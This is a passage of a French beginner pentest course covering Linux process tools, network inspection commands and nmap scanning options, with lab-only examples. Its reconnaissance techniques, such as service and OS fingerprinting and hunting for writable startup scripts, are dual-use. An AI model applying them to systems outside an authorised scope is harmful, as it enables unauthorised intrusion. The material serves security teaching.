
Conseil Observer avant d’agir ; utiliser SIGTERM pour un arrêt normal ; lire les unités avant toute modification.

Attention Utiliser kill -9 en premier recours ; arrêter un service hors périmètre ; supposer que tous les Linux utilisent systemd.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 1

ps

Description

Affiche un instantané des processus. Les options peuvent suivre plusieurs styles historiques.

Syntaxe • Shell

```
ps [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
aux	Forme historique sans tiret : a élargit la sélection, x inclut les processus sans terminal, u détaille le propriétaire et l'usage.
-e	Sélectionne tous les processus visibles ; utile pour un inventaire global.
-o CHAMPS	Choisit les colonnes : pid,ppid,user,args affiche identifiant, parent, propriétaire et arguments.
--sort=-%cpu	Trie par consommation processeur décroissante ; le signe moins inverse l'ordre.
--forest	Dessine les relations parent-enfant dans la sortie texte.
-p PID / -f	-p sélectionne un ou plusieurs identifiants ; -f choisit un affichage détaillé. Exemple : ps -fp 1234.

Exemple débutant • Shell

```
ps aux
```

Exemple intermédiaire • Shell

```
ps -eo pid,ppid,user,comm,args --sort=-%cpu
```

Exemple avancé • Shell

```
ps -eo pid,ppid,user,etime,args --forest
```

Résultat attendu

La liste montre les identifiants, les propriétaires et les commandes ; --forest rend visibles les liens parent-enfant.

Cas d'utilisation en pentest

Identifier l'utilisateur d'un serveur et ses arguments avant d'examiner sa configuration.

Bonnes pratiques

• Croiser le PID avec ss et systemctl.

• Masquer les arguments sensibles dans le rapport.

Erreurs fréquentes

• Prendre une photographie instantanée pour un historique.

• Croire que les arguments visibles prouvent seuls la provenance d'un programme.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 1

top

Description

Surveille en direct les processus et la charge du système. q quitte ; P trie généralement par processeur et M par mémoire.

Syntaxe • Shell

```
top [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-u UTILISATEUR	Affiche les processus du compte indiqué ; permet de suivre ses propres outils.
-p PID	Limite l'observation au processus indiqué ou à une liste d'identifiants séparés par des virgules.
-b	Active le mode texte non interactif ; pratique pour rediriger la sortie vers un fichier.
-n N	S'arrête après N actualisations ; évite un relevé qui tourne indéfiniment.
-d SECONDES	Définit l'intervalle entre les actualisations : -d 2 attend environ deux secondes.
P / M / q	Dans l'interface, trie par processeur / mémoire / quitte. Ce sont des touches interactives.

Exemple débutant • Shell

```
top
```

Exemple intermédiaire • Shell

```
top -u analyste
```

Exemple avancé • Shell

```
top -b -n 3 -d 2 > charge.txt
```

Résultat attendu

L'affichage interactif ou trois relevés en mode texte présentent l'activité du système.

Cas d'utilisation en pentest

Vérifier l'impact d'un scan sur une machine de laboratoire.

Bonnes pratiques

• Relever l'état avant, pendant et après le test.

• Réduire le débit si la charge devient excessive.

Erreurs fréquentes

• Confondre mémoire mise en cache et mémoire réellement indisponible.

• Comparer des pourcentages sans tenir compte des cœurs et du mode de calcul.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 1

htop

Description

Présente les processus dans une interface interactive plus visuelle. Cet outil peut nécessiter une installation séparée.

Syntaxe • Shell

```
htop [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-u UTILISATEUR	Limite la liste aux processus du compte choisi.
-p LISTE	Suit seulement les identifiants indiqués, par exemple -p 1234,1235.
-d N	Fixe le délai en dixièmes de seconde ; -d 20 correspond à deux secondes, contrairement à top -d 20.
-t	Démarre avec une vue en arbre des relations entre processus.
F1 / F10	Affiche l'aide / quitte ; selon le terminal, les touches de fonction peuvent être interceptées.

Exemple débutant • Shell

```
htop
```

Exemple intermédiaire • Shell

```
htop -u analyste
```

Exemple avancé • Shell

```
htop -p 1234,1235
```

Résultat attendu

La vue affiche tous les processus autorisés ou seulement les PID sélectionnés ; remplacer les numéros par ceux observés.

Cas d'utilisation en pentest

Suivre quelques outils lancés pendant un laboratoire et comprendre leur arborescence.

Bonnes pratiques

• Utiliser l'aide F1 pour les touches de la version installée.

• Vérifier le processus sélectionné avant un signal.

Erreurs fréquentes

• Envoyer un signal avec une touche de fonction par erreur.

• Supposer qu'htop est installé sur toute distribution.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 1

kill

Description

Envoie un signal à un processus identifié. Le nom ne signifie pas forcément une destruction immédiate.

Syntaxe • Shell

```
kill [-SIGNAL] PID
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-l	Liste les signaux connus ; ne les envoie à aucun processus.
-TERM ou -15	Demande un arrêt normal ; le programme peut nettoyer ses ressources. C'est le signal usuel par défaut.
-KILL ou -9	Force l'arrêt sans nettoyage ; à réserver à un processus vérifié qui ne s'arrête pas normalement.
-0	Vérifie existence et autorisation d'envoi sans envoyer de signal réel ; examiner aussi le code de retour.
PID	Identifiant exact du processus à viser ; le relever juste avant l'action car il peut être réutilisé.

Exemple débutant • Shell

```
kill -l
```

Exemple intermédiaire • Shell

```
kill -TERM 1234
```

Exemple avancé • Shell

```
kill -0 1234
# Si le processus persiste et si l'arrêt forcé est autorisé :
kill -KILL 1234
```

Résultat attendu

-l liste les signaux. -0 vérifie l'existence et les permissions sans envoyer de signal ; KILL force l'arrêt.

Cas d'utilisation en pentest

Arrêter un outil de test bloqué en ciblant son PID vérifié.

Bonnes pratiques

• Confirmer le PID juste avant l'action.

• Préférer systemctl stop pour un service géré, après accord opérationnel.

Erreurs fréquentes

• Tuer un PID réutilisé par un autre processus.

• Forcer l'arrêt d'une base de données et risquer une corruption.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 2

killall

Description

Sous Linux, envoie un signal aux processus correspondant à un nom. Sa portée est plus large que kill.

Syntaxe • Shell

```
killall [options] nom
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-i	Demande confirmation avant chaque envoi ; utile pour éviter de viser un mauvais processus.
-u UTILISATEUR	Restreint la sélection au compte indiqué.
-TERM / -KILL	Choisit un arrêt demandé / forcé ; même différence que pour kill.
-v	Affiche si le signal a été envoyé ; aide à vérifier les correspondances.
--version	Identifie la variante de l'outil ; le comportement peut être différent sur d'autres systèmes.

Exemple débutant • Shell

```
killall --version
```

Exemple intermédiaire • Shell

```
killall -i -TERM outil-lab
```

Exemple avancé • Shell

```
killall -i -u analyste -TERM outil-lab
```

Résultat attendu

Le premier exemple vérifie la variante ; -i demande confirmation ; -u limite au propriétaire indiqué.

Cas d'utilisation en pentest

Arrêter plusieurs instances de son propre programme de laboratoire.

Bonnes pratiques

• Vérifier les correspondances avec ps.
• Garder -i lors d'une action manuelle.

Erreurs fréquentes

• Cibler python3 ou bash sur une machine partagée.
• Transposer cette syntaxe à un système non Linux sans lire son manuel.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 1

jobs

Description

Liste les travaux lancés depuis le shell courant, actifs ou suspendus.

Syntaxe • Shell

```
jobs [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-l	Affiche les identifiants de processus en plus des numéros de travaux.
-r	Affiche seulement les travaux actuellement en cours d'exécution.
-s	Affiche seulement les travaux suspendus.
-p	Affiche les identifiants de processus associés aux travaux, sans présentation détaillée.
%N	Désigne le travail numéro N dans le shell courant, par exemple %1 ; ne pas confondre avec un PID.

Exemple débutant • Shell

```
jobs
```

Exemple intermédiaire • Shell

```
jobs -l
```

Exemple avancé • Shell

```
jobs -r
jobs -s
```

Résultat attendu

Les numéros de travaux apparaissent ; -l ajoute les PID ; -r sélectionne les actifs et -s les suspendus.

Cas d'utilisation en pentest

Retrouver un scan lancé avec & dans le terminal courant.

Bonnes pratiques

• Distinguer %1, travail, et 1234, PID.
• Noter quel terminal a démarré le programme.

Erreurs fréquentes

• Attendre la liste des travaux d'un autre terminal.
• Confondre suspension et terminaison.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 1

bg

Description

Reprend en arrière-plan un travail suspendu. Ctrl+Z suspend généralement le programme au premier plan.

Syntaxe • Shell

```
bg [%numero]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
%N	Reprend le travail suspendu numéro N en arrière-plan ; obtenir ce numéro avec jobs.
%+	Désigne le travail courant du shell, c'est-à-dire celui marqué + dans jobs.
%-	Désigne le travail précédent du shell, marqué - dans jobs.
Sans argument	Reprend le travail courant s'il existe ; une sélection explicite est plus claire avec plusieurs travaux.

Exemple débutant • Shell

```
bg %1
```

Exemple intermédiaire • Shell

```
jobs -l
bg %2
```

Exemple avancé • Shell

```
bg %1
jobs -r
```

Résultat attendu

Le travail reprend ; les numéros sont ceux observés avec jobs, pas des valeurs universelles.

Cas d'utilisation en pentest

Reprendre un traitement suspendu sans bloquer le terminal.

Bonnes pratiques

• Rediriger les sorties dès le lancement si possible.

• Utiliser un programme qui ne dépend pas d'une saisie interactive.

Erreurs fréquentes

• Lancer bg sans travail suspendu.

• Croire que l'arrière-plan protège de la fermeture du terminal.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 1

fg

Description

Ramène un travail du shell au premier plan et lui rend le terminal.

Syntaxe • Shell

```
fg [%numero]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
%N	Place le travail numéro N au premier plan : fg %2 agit sur le travail 2 de cette session.
%+	Sélectionne le travail courant du shell.
%-	Sélectionne le travail précédent du shell.
Sans argument	Ramène le travail courant au premier plan ; ne retrouve pas un programme lancé depuis un autre terminal.

Exemple débutant • Shell

```
fg %1
```

Exemple intermédiaire • Shell

```
jobs
fg %2
```

Exemple avancé • Shell

```
fg %1
# Puis Ctrl+C si un arrêt est nécessaire
```

Résultat attendu

Le programme reprend le contrôle du terminal jusqu'à sa fin ou sa suspension.

Cas d'utilisation en pentest

Revenir à un outil interactif ou interrompre proprement son propre scan.

Bonnes pratiques

• Vérifier le numéro avec jobs.

• Comprendre la différence entre Ctrl+C et Ctrl+Z.

Erreurs fréquentes

• Saisir un PID comme s'il s'agissait d'un numéro de travail.

• Chercher un travail lancé dans une autre session.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 2

nohup

Description

Lance un programme en ignorant le signal de déconnexion du terminal. Ne le place pas automatiquement en arrière-plan.

Syntaxe • Shell

```
nohup commande [arguments]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
COMMANDE arguments	Le programme et ses options suivent nohup ; par exemple nohup bash inventaire.sh.
& en fin de ligne	Lance le travail en arrière-plan ; ce symbole appartient à Bash, pas à nohup.
> fichier 2>&1	Enregistre sortie et erreurs dans un même fichier ; évite un fichier nohup.out non prévu.
< /dev/null	Fournit une entrée immédiatement terminée ; évite qu'un programme attende une saisie du terminal.
$!	Variable Bash contenant le PID du dernier travail lancé en arrière-plan ; utile pour le retrouver.

Exemple débutant • Shell

```
nohup sleep 60 &
```

Exemple intermédiaire • Shell

```
nohup bash inventaire.sh > inventaire.log 2>&1 &
```

Exemple avancé • Shell

```
nohup bash inventaire.sh < /dev/null > inventaire.log 2>&1 &
printf "%s\n" "$!" > inventaire.pid
```

Résultat attendu

Le traitement continue normalement après fermeture du terminal ; $! fournit le PID du dernier travail lancé en arrière-plan.

Cas d'utilisation en pentest

Laisser finir un inventaire local autorisé malgré une déconnexion.

Bonnes pratiques

• Rediriger entrée et sorties explicitement.

• Conserver le PID et surveiller le journal.

Erreurs fréquentes

• Attendre une session interactive persistante.

• Croire que nohup résiste à un redémarrage ou à toutes les politiques de session.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 2

systemctl

Description

Inspecte et contrôle les unités de systemd, notamment les services. Les exemples sont de lecture.

Syntaxe • Shell

```
systemctl [options] action [unite]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
status UNITE	Affiche l'état actuel et quelques messages récents ; c'est une sous-commande, pas une option.
list-units	Liste les unités chargées ; ne représente pas nécessairement tous les fichiers d'unités installés.
--type=service	Limite une liste aux services plutôt qu'aux autres types d'unités.
--state=running	Filtre les unités dont l'état correspond à une exécution en cours.
cat UNITE	Montre les fichiers de configuration de l'unité, y compris les compléments connus.
show … -p PROPRIETE	Affiche une propriété précise, par exemple -p ExecStart ; répéter -p pour plusieurs propriétés.
--no-pager	Écrit directement la sortie sans ouvrir un lecteur interactif ; pratique pour un export.

Exemple débutant • Shell

```
systemctl status ssh
```

Exemple intermédiaire • Shell

```
systemctl list-units --type=service --state=running
```

Exemple avancé • Shell

```
systemctl cat ssh.service
systemctl show ssh.service -p User -p ExecStart
```

Résultat attendu

L'état, les unités actives et les paramètres de démarrage sont affichés. Le nom du service dépend de la distribution.

Cas d'utilisation en pentest

Relier un port d'écoute à une unité puis rechercher un script de démarrage modifiable.

Bonnes pratiques

• Vérifier le chemin réel et ses permissions.

• Distinguer enabled au démarrage et active maintenant.

Erreurs fréquentes

• Redémarrer un service uniquement pour tester sa présence.

• Modifier une unité sans prévoir la validation et le retour arrière.

SECTION 04 • GESTION DES PROCESSUS | NIVEAU 2

service

Description

Interface historique de gestion des services, parfois redirigée vers systemd.

Syntaxe • Shell

```
service nom action
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
NOM status	Demande l'état d'un service ; la réponse dépend du script ou du gestionnaire sous-jacent.
--status-all	Interroge les scripts de services disponibles ; certains services modernes peuvent manquer.
NOM start / stop	Démarre / arrête un service ; modifie son état et demande généralement des privilèges.
NOM restart	Arrête puis relance le service ; peut interrompre les utilisateurs, donc ne sert pas à une simple inspection.
2>&1	Réunit les messages d'erreur et la sortie avant un pipeline ; c'est une redirection Bash.

Exemple débutant • Shell

```
service --status-all
```

Exemple intermédiaire • Shell

```
service ssh status
```

Exemple avancé • Shell

```
service --status-all 2>&1 | less
```

Résultat attendu

Les scripts disponibles ou l'état du service s'affichent ; certains services modernes ne figurent pas dans cette liste.

Cas d'utilisation en pentest

Inspecter un ancien système Debian ou Ubuntu avec scripts de démarrage classiques.

Bonnes pratiques

• Préférer systemctl quand systemd est actif.

• Consulter l'aide propre au script.

Erreurs fréquentes

• Prendre --status-all pour un inventaire exhaustif.

• Utiliser restart pendant une phase prévue en lecture seule.

NIVEAU 1 • DÉBUTANT CYBERSÉCURITÉ

5 Réseau Linux

Objectif

Comprendre les interfaces, adresses, routes et connexions d’une machine.

Explication simple

Une interface relie Linux à un réseau physique ou virtuel. IP signifie Internet Protocol, protocole d’adressage réseau. Une passerelle est un routeur utilisé pour joindre d’autres réseaux. TCP (Transmission Control Protocol) établit des connexions ; UDP (User Datagram Protocol) transporte des datagrammes sans connexion préalable.

Difficulté du parcours : niveau 1. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

ip address, ip route, ping et ss.

Commandes avancées

Inspection des voisins, choix du chemin, traceroute et équivalents historiques ifconfig, arp, route, netstat.

Cas d’utilisation réels et transposables

Avant un laboratoire distant, vérifier l’adresse du tunnel, la route vers la cible et l’interface utilisée. Si la cible ne répond pas au ping, examiner routes et ports autorisés au lieu de conclure qu’elle est éteinte.

Repères pour comprendre

ARP (Address Resolution Protocol) associe une adresse IPv4 à une adresse matérielle MAC (Media Access Control) sur le lien local. IPv6 utilise la découverte de voisins. ICMP (Internet Control Message Protocol) transporte notamment les messages de ping. CIDR (Classless Inter-Domain Routing) note les préfixes : /24 correspond à 256 adresses IPv4, pas à une autorisation de les scanner. Les commandes ifconfig, arp, route et netstat appartiennent souvent au paquet net-tools ; ip et ss sont les références modernes.

Conseil Utiliser les noms d’interfaces réellement présents ; noter le sous-réseau ; distinguer réseau local et réseau routé.

Attention Employer eth0 sans vérifier ; oublier un tunnel actif ; croire qu’un port local est accessible à distance.

SECTION 05 • RÉSEAU LINUX | NIVEAU 1

ip

Description

Affiche et modifie la configuration réseau. Les exemples inspectent uniquement les interfaces, routes et voisins.

Syntaxe • Shell

```
ip [options] objet commande
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-br	Produit une vue courte des interfaces et de leurs adresses ; utile pour se repérer rapidement.
address / addr	Sélectionne les adresses d'interface ; ip address show les affiche sans les modifier.
route show / route get IP	Affiche les routes / indique le chemin que Linux choisirait vers une adresse précise.
link show	Affiche l'état des interfaces ; ajouter -s pour leurs compteurs de trafic et d'erreurs.
neigh show	Affiche les voisins connus sur le lien, dont les associations IPv4/MAC.
dev INTERFACE	Limite une commande compatible à une interface : ip -s link show dev eth0.
-4 / -6	Limite la consultation à IPv4 / IPv6 ; utile pour séparer les deux familles.

Exemple débutant • Shell

```
ip -br address
```

Exemple intermédiaire • Shell

```
ip route show
ip route get 192.0.2.20
```

Exemple avancé • Shell

```
ip -s link show
ip neigh show
```

Résultat attendu

Les adresses, la route choisie, les compteurs d'erreurs et les voisins sont affichés.

Cas d'utilisation en pentest

Vérifier quelle interface sera utilisée pour joindre la cible du laboratoire.

Bonnes pratiques

• Utiliser -br pour une vue courte.

• Lire dev, via et src dans la route choisie.

Erreurs fréquentes

• Modifier les routes avant de comprendre la panne.

• Confondre une route disponible et la joignabilité réelle de la cible.

SECTION 05 • RÉSEAU LINUX | NIVEAU 1

ifconfig

Description

Ancien outil d’inspection des interfaces, encore courant dans des supports de cours.

Syntaxe • Shell

```
ifconfig [interface] [options]
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
-a	Inclut les interfaces inactives ; sans cela, l’affichage peut omettre une interface arrêtée.
INTERFACE	Limite l’inspection à une interface, par exemple ifconfig eth0 ; ce nom est un argument.
up / down	Active / désactive l’interface ; ces arguments modifient le réseau et peuvent couper une connexion distante.
Sans argument	Présente les interfaces actives ; utiliser ip -br address pour l’équivalent moderne usuel.

Exemple débutant • Shell

```
ifconfig
```

Exemple intermédiaire • Shell

```
ifconfig -a
```

Exemple avancé • Shell

```
ifconfig eth0
ip -s link show dev eth0
```

Résultat attendu

Les adresses et compteurs de l’interface apparaissent ; -a inclut les interfaces inactives.

Cas d’utilisation en pentest

Lire un ancien tutoriel puis retrouver les mêmes informations avec ip.

Bonnes pratiques

• Remplacer eth0 par le nom réel.

• Utiliser ip -br address sur les installations récentes.

Erreurs fréquentes

• Confondre l’absence de l’outil avec une panne réseau.

• Désactiver une interface distante par erreur.

SECTION 05 • RÉSEAU LINUX | NIVEAU 2

arp

Description

Affiche le cache ARP IPv4, contenant les voisins récemment résolus sur le réseau local.

Syntaxe • Shell

```
arp [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n	Affiche les adresses numériques sans chercher leurs noms ; plus rapide et plus clair pour le diagnostic.
-a	Affiche les entrées du cache dans un format historique alternatif.
-i INTERFACE	Limite l'inspection à l'interface choisie.
Sans modification	Une lecture du cache montre seulement les voisins connus ; elle n'interroge pas tout le réseau.

Exemple débutant • Shell

```
arp -n
```

Exemple intermédiaire • Shell

```
arp -an
```

Exemple avancé • Shell

```
arp -n -i eth0
ip neigh show dev eth0
```

Résultat attendu

Les correspondances IPv4 et MAC connues apparaissent, parfois avec des entrées incomplètes.

Cas d'utilisation en pentest

Relier une adresse locale observée à une interface matérielle.

Bonnes pratiques

• Utiliser -n pour éviter la résolution de noms.

• Vérifier la fraîcheur des entrées avec ip neigh.

Erreurs fréquentes

• Chercher des hôtes situés au-delà d'un routeur dans ce cache.

• Prendre un cache incomplet pour un inventaire réseau complet.

SECTION 05 • RÉSEAU LINUX | NIVEAU 1

route

Description

Affiche la table de routage avec une syntaxe historique.

Syntaxe • Shell

```
route [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-n	N'effectue pas de résolution de noms ; montre directement destinations et passerelles numériques.
-A inet	Sélectionne la famille IPv4 dans cette interface historique.
-A inet6	Sélectionne IPv6 si cette variante de net-tools le prend en charge.
Sans add ni del	Affiche les routes ; add et del seraient des opérations de modification, à ne pas ajouter pendant une lecture.

Exemple débutant • Shell

```
route -n
```

Exemple intermédiaire • Shell

```
route -n -A inet
```

Exemple avancé • Shell

```
ip route get 192.0.2.20
```

Résultat attendu

La table montre destination, passerelle et interface ; l'exemple avancé utilise l'équivalent moderne pour un trajet précis.

Cas d'utilisation en pentest

Identifier la passerelle d'un ancien environnement Linux.

Bonnes pratiques

• Préférer ip route pour les tables et règles modernes.

• Vérifier la route spécifique avant la route par défaut.

Erreurs fréquentes

• Ajouter une route sans avoir relevé la configuration initiale.

• Supposer qu'une seule table explique toujours le routage.

SECTION 05 • RÉSEAU LINUX | NIVEAU 1

ping

Description

Teste une réponse ICMP et mesure le délai aller-retour. Un filtrage peut empêcher la réponse.

Syntaxe • Shell

```
ping [options] hote
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-c N	Envoie N requêtes puis s'arrête ; -c 4 convient à un contrôle bref.
-I INTERFACE	Choisit l'interface ou l'adresse source selon iputils ; utile avec plusieurs réseaux ou tunnels.
-W SECONDES	Limite l'attente d'une réponse selon les règles d'iputils ; ne fixe pas forcément la durée totale.
-w SECONDES	Impose une durée globale maximale au programme, avec iputils.
-s OCTETS	Fixe la taille de la charge utile ICMP ; les en-têtes réseau s'y ajoutent.
-M do	En IPv4 avec iputils, interdit la fragmentation ; sert à explorer un problème de taille de paquet.

Exemple débutant • Shell

```
ping -c 4 192.0.2.20
```

Exemple intermédiaire • Shell

```
ping -c 4 -I eth0 192.0.2.20
```

Exemple avancé • Shell

```
ping -c 3 -M do -s 1200 192.0.2.20
```

Résultat attendu

Des délais ou pertes sont affichés. Avec iputils, -M do interdit la fragmentation IPv4 ; -s fixe la charge utile.

Cas d'utilisation en pentest

Distinguer une panne de chemin d'un problème applicatif et explorer un souci de taille de paquet.

Bonnes pratiques

• Limiter le nombre de requêtes.

• Tester d'abord la passerelle de laboratoire.

Erreurs fréquentes

• Conclure que la cible est absente en l'absence de réponse.

• Utiliser un envoi intensif sur un réseau de production.

SECTION 05 • RÉSEAU LINUX | NIVEAU 2

traceroute

Description

Estime les sauts intermédiaires vers une cible grâce aux réponses d’expiration des paquets.

Syntaxe • Shell

```
traceroute [options] hote
```

Options les plus utiles

Option ou argument	Ce qu’il fait et quand l’utiliser
-n	Affiche les sauts sous forme d’adresses numériques, sans résolution de noms.
-m N	Fixe le nombre maximal de sauts explorés ; -m 10 borne une recherche courte.
-w SECONDES	Fixe l’attente des réponses aux sondes selon la variante installée.
-T	Utilise des sondes TCP plutôt que les sondes UDP habituelles ; peut demander des privilèges.
-p PORT	Avec -T, choisit le port TCP ; avec la méthode UDP, désigne le port de base et non nécessairement un port fixe.
-I	Utilise des sondes ICMP ; la lettre est un i majuscule, et la méthode peut être filtrée.

Exemple débutant • Shell

```
traceroute -n 192.0.2.20
```

Exemple intermédiaire • Shell

```
traceroute -n -m 10 -w 1 192.0.2.20
```

Exemple avancé • Shell

```
sudo traceroute -n -T -p 443 192.0.2.20
```

Résultat attendu

Les routeurs répondants apparaissent ; * signifie absence de réponse, pas forcément rupture de chemin. -T utilise TCP.

Cas d’utilisation en pentest

Identifier un point de filtrage probable entre deux segments de laboratoire.

Bonnes pratiques

• Employer -n pour séparer le diagnostic du réseau de celui des noms.

• Comparer plusieurs essais à débit limité.

Erreurs fréquentes

• Interpréter chaque * comme une panne.

• Supposer que le trajet aller et retour est identique.

SECTION 05 • RÉSEAU LINUX | NIVEAU 2

netstat

Description

Affiche sockets et connexions avec l'outillage historique net-tools. Une socket est un point de communication du système.

Syntaxe • Shell

```
netstat [options]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-t / -u	Sélectionne TCP / UDP ; combiner -tu pour les deux.
-l	Affiche les sockets en écoute ; sans ce filtre, d'autres connexions peuvent apparaître.
-n	Garde adresses et ports numériques, sans les traduire en noms.
-p	Ajoute le programme et le PID quand les droits le permettent.
-r	Affiche la table de routage ; -rn donne les routes en valeurs numériques.
-a	Inclut les écoutes et les autres sockets ; utile pour une vue plus large que -l.

Exemple débutant • Shell

```
netstat -tuln
```

Exemple intermédiaire • Shell

```
sudo netstat -tulpn
```

Exemple avancé • Shell

```
netstat -rn
ss -lntup
```

Résultat attendu

Les ports TCP et UDP en écoute sont affichés ; -p ajoute les processus quand les droits le permettent.

Cas d'utilisation en pentest

Relire un ancien rapport et identifier les services exposés localement.

Bonnes pratiques

• Préférer ss pour les inspections actuelles.

• Distinguer 127.0.0.1, 0.0.0.0 et les adresses précises.

Erreurs fréquentes

• Confondre écoute et connexion établie.

• Croire que -p affiche tous les processus sans privilèges suffisants.

SS

Description

Inspecte rapidement les sockets. -l sélectionne les écoutes, -n conserve les valeurs numériques, -t TCP et -u UDP.

Syntaxe • Shell

```
ss [options] [filtre]
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-l	Montre les sockets en écoute, par exemple les ports ouverts localement par des serveurs.
-n	Affiche adresses et ports numériques, sans résolution de noms.
-t / -u	Sélectionne TCP / UDP ; -lntup combine écoute, valeurs numériques, TCP, UDP et processus.
-p	Ajoute le processus associé si les permissions permettent de le voir.
state established	Ne garde que les connexions TCP établies ; il s'agit d'un filtre.
dport / sport	Filtre le port distant / local dans les expressions adaptées : dport = :443 vise le port distant 443.

Exemple débutant • Shell

```
ss -lnt
```

Exemple intermédiaire • Shell

```
sudo ss -lntup
```

Exemple avancé • Shell

```
ss -nt state established '( dport = :443 )'
```

Résultat attendu

Les ports en écoute ou les connexions établies vers le port 443 apparaissent ; -p associe un processus si accessible.

Cas d'utilisation en pentest

Découvrir un service réservé à la boucle locale ou confirmer une connexion web sortante.

Bonnes pratiques

• Lire adresse locale et adresse distante séparément.

• Croiser l'écoute avec le pare-feu et le périmètre.

Erreurs fréquentes

• Supposer qu'une écoute sur toutes les interfaces traverse le pare-feu.

• Oublier les écoutes IPv6.

NIVEAU 2 • DÉBUTANT PENTEST

6 Scanner de ports

Objectif

Découvrir les services accessibles puis approfondir uniquement les ports pertinents.

Explication simple

Nmap signifie Network Mapper. Un scan décrit ce que le poste d'audit observe à un instant donné. Un port open accepte les échanges attendus ; closed répond mais ne présente pas le service testé ; filtered ne permet pas de conclure à cause d'un filtre ou de l'absence de réponse.

Difficulté du parcours : niveau 2. Les fiches précisent le niveau de chaque outil.

Commandes essentielles

nmap IP ; sélection de ports avec -p ; export avec -oA.

Commandes avancées

Détection de versions -sV, scripts par défaut -sC, système -O, absence de découverte préalable -Pn, ensemble -A et sélection --script.

Cas d'utilisation réels et transposables

Étape 1 : nmap 192.0.2.20. Étape 2 : nmap -sV -p 22,80,443 192.0.2.20. Étape 3 : inspecter un script précis avec nmap --script-help http-title, puis l'exécuter sur le seul service web autorisé.

Repères pour comprendre

Sans option de ports, Nmap teste normalement les 1 000 ports TCP les plus courants. -p- vise les ports TCP 1 à 65535 du type de scan choisi ; cela ne teste pas UDP. -sU sélectionne UDP, généralement avec privilèges, et peut être lent. -Pn traite les cibles comme actives sans la découverte habituelle ; ce n'est ni une méthode furtive ni un contournement garanti. Sur un lien local, une résolution ARP peut encore intervenir. Références S01 à S04.

Conseil Fixer cibles, ports, créneau et débit ; créer le dossier de sortie ; enregistrer la commande et la version ; vérifier manuellement les bannières.

Attention Croire que le scan par défaut couvre tous les ports ; prendre un numéro de version pour une preuve de vulnérabilité ; lancer toutes les catégories de scripts.

SECTION 6 • REPÈRES OPÉRATIONNELS

Nmap • options et méthode de travail

Option	Effet	Limite à retenir
nmap IP	Ports TCP usuels	Point de départ ; pas tous les ports ni UDP.
-sV	Détection des services et versions	Envoie des sondes ; une bannière peut être inexacte.
-sC	Scripts de la catégorie default	Équivalent à --script=default ; pas garanti sans impact.
-O	Estimation du système	Généralement privilégiée ; résultat probabiliste.
-Pn	Pas de découverte habituelle préalable	Peut ralentir les grandes plages ; ne contourne pas un filtre.
-A	Versions, système, scripts et traceroute	Regroupe des fonctions ; ne sélectionne pas tous les ports.
--script nom	Choisit un script ou une expression	Lire --script-help ; ne pas lancer toutes les catégories.
-p 22,80 / -p-	Ports précis / ports 1 à 65535	Le protocole dépend du type de scan choisi.
-sT / -sS	Connexion TCP / sondes SYN	SYN est le drapeau de synchronisation TCP ; -sS exige en général des privilèges.
-sU	Scan UDP	Souvent lent ; open|filtered reste ambigu.
-oA prefixe	Trois formats de sortie	Créer le dossier parent ; le préfixe n’est pas un dossier.
--max-rate N	Plafond global de sondes de scan	Ne borne pas à lui seul tout le trafic des scripts et sous-outils.

Shell • exemples avancés ciblés

```
sudo nmap -O -p 22,80,443 192.0.2.20
sudo nmap -A -p 22,80,443 192.0.2.20
sudo nmap -sU -p 53,123 --max-rate 20 192.0.2.20
```

Choisir l’un de ces approfondissements selon le mandat, après le premier scan. -O est plus fiable avec au moins un port ouvert et un port fermé observés. -A multiplie les interrogations. Un plafond de sondes ne rend pas un service fragile sûr à tester.

SECTION 06 • SCANNER DE PORTS | NIVEAU 2

nmap

Description

Scanner réseau qui rapporte ports, services et estimations de système. Les résultats sont des observations à confirmer.

Syntaxe • Shell

```
nmap [type de scan] [options] cible
```

Options les plus utiles

Option ou argument	Ce qu'il fait et quand l'utiliser
-p PORTS / -p-	Choisit des ports précis, par exemple 22,80,443 / tous les ports 1 à 65535 du type de scan sélectionné.
-sV	Interroge les services pour estimer leurs logiciels et versions ; une bannière seule ne prouve pas une vulnérabilité.
-sC	Exécute les scripts de la catégorie default ; ce n'est pas une garantie d'absence d'impact.
-O	Tente d'identifier le système d'exploitation ; demande généralement des privilèges et reste une estimation.
-Pn	Omet la découverte habituelle préalable des hôtes ; ne contourne pas les filtres et peut rallonger les scans.
-A	Regroupe versions, identification du système, scripts par défaut et traceroute ; ne signifie pas « tous les ports ».
--script NOM	Choisit un script ; lire d'abord son aide avec --script-help NOM.
--max-rate N	Plafonne les sondes de scan par seconde ; ne borne pas à lui seul toutes les requêtes des scripts.
-oA PREFIXE	Écrit les résultats en trois formats sous ce préfixe ; créer d'abord le dossier parent.

Exemple débutant • Shell

```
nmap 192.0.2.20
```

Exemple intermédiaire • Shell

```
